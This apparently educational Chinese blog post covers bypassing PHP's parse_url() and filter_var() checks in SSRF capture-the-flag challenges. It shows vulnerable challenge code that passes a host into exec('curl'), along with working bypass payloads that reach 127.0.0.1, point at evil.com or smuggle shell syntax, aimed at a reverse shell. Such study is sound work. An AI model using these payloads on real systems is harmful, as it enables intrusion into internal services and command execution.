SSRF中两个函数的绕过

 Von's Blog     2020-03-03   2538 words    & views

前言

在SSRF中我们经常遇到这两个函数filter_var()和parse_url(),今天来学习一下这两个函数相关的绕过方法.

parse_url()

函数介绍

parse_url用来解析 URL,返回其组成部分(返回一个关联数组) 语法如下:

 parse_url (url,commpent) : mixed

其中,url为需要解析的url(必需),commpent为指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string.(非必需)

绕过

我们需要知道libcurl和parse_url的解析差异.

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host

比如,

http://u:p@baidu.com@bilibili.com/

parse_url和libcurl的解析分别如下:

    parse_url解析结果:
    schema: http 
    user: u
    pass: p@baidu.com
    host: bilibili.com
    
libcurl解析结果:
    schema: http
    host: baidu.com
    user: u
    pass: p
    port: 80
    后面的@bilibili.com/会被忽略掉

题目分析

题目中部分代码如下:

<?php
$url = @$_GET['url'];
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

结合上面的知识,我们可以构造出如下payload:

http://u:p@127.0.0.1:80@www.baidu.com/flag.php

filter_var()

函数介绍

filter_var() 函数通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。
语法如下:

filter_var(variable, filter, options) 

其中,variable是判断的字符串(必需),filter是相应的过滤器ID,通常在SSRF中对应的是FILTER_VALIDATE_URL,即判断是不是URL。

绕过

在CTF中我们经常见到这样的代码

   if(filter_var($url, FILTER_VALIDATE_URL)) {
      $r = parse_url($url);
      if(preg_match('/google\.com$/', $r['host'])) 
      {
         exec('curl -v -s "'.$r['host'].'"', $a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }

可以想见,题目的解法就是想办法执行curl语句进而利用curl反弹shell,所以关键就在于绕过preg_match,filter_var. 我们需要知道以下知识:

许多URL结构保留一些特殊的字符用来表示特殊的含义,这些符号在URL中不同的位置有着其特殊的语义。 字符”;”, “/”, “?”, “:”, “@”, “=” 和”&”是被保留的。 除了分层路径中的点段,通用语法将路径段视为不透明。 生成URI的应用程序通常使用段中允许的保留字符来分隔。例如”;”和”=”用来分割参数和参数值。逗号也有着类似的作用。 例如,有的结构使用name;v=1.1来表示name的version是1.1,然而还可以使用name,1.1来表示相同的意思。当然对于URL来说,这些保留的符号还是要看URL的算法来表示他们的作用。 例如,如果用于hostname上,URL”http://evil.com;baidu.com”会被curl或者wget这样的工具解析为host:evil.com,querything:baidu.com

知晓了上面的原理后,我们可以构造出这样的结果:

http://evil.com;google.com

但是可以看出,这样并不能通过filter_var的检测. 但当我们修改为:

0://evil.com;google.com

可以看到,成功进入了exec()语句. 但是这样并不能执行curl语句,我们可以通过制定特定端口即可解决这个问题。于是有最终payload:

0://evil.com:80;google.com:80

需要注意的是:

使用逗号代替分号会出现同样的情况
前面的0可以用其他非协议字段代替

另外,当像本题一样当使用了exec()函数而且脚本又使用[host]来创建一个curl HTTP请求时,我们还可以采用以下的payload:

0://evil$google.com

参考文章

v0w的博客
secjuice上的文章